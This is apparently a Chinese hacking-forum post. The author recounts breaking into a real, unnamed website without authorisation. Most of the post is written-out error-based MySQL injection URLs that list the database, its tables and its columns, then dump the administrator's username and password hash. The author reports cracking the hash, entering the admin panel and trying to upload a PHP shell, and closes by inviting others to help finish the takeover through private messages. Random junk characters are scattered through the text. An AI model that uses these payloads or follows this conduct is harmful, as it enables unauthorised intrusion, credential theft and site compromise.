近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。5 E- O6 w) \$ t& _1 f% P* }
首先找到网站后台,加了个admin,后台出来了 v6 ?) L0 |0 ]5 E. w3 H4 W+ H3 S
$ e1 B Q: e* |. Z9 `) p$ j
4 `2 E1 z! U0 z' N0 j/ D9 ]
然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入+ d- z8 S+ b$ j5 K) Y+ ]: Y( d
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—! u. P: v a+ M `: f1 O
. F6 z9 q% F' ]. l& c# l
1 D$ B. X- ]0 t; {3 i* ~) n' H @6 b: P& c
% k' n2 _; n# J2 khttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg& j# ^# K- }7 }" R
; E6 \2 q) s0 x( @+ R' j8 H% l- r5 M% D3 ]' @
/ g: X9 Z! v/ |/ Y" @' k( J! s1 S% J# K" E6 b+ q6 W
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
( e. ]5 A& w/ B# t6 N
' V5 r; n: i: O T3 O2 D
7 c3 y+ ]% O5 N) H2 hhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg
5 U7 T* i5 e% |, X% w5 ?2 ?1 s' a8 }* T7 T7 e
, o& k* _/ n% x x/ l" Q5 D! J8 c7 |. e
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--9 s- \2 M4 Q6 y+ B# b
# w' p: T8 u" r
- ?" r1 y% V9 R9 n! r; q& F" h. {5 I/ [8 k8 O8 Q) |
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
% l6 F6 a5 ^: A1 n# F2 [: h+ i$ ~, |/ Q! u3 v A0 k
# z6 ]7 L; a, L/ K v/ Y& q; s1 w: h- p) M# p$ `. B
得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |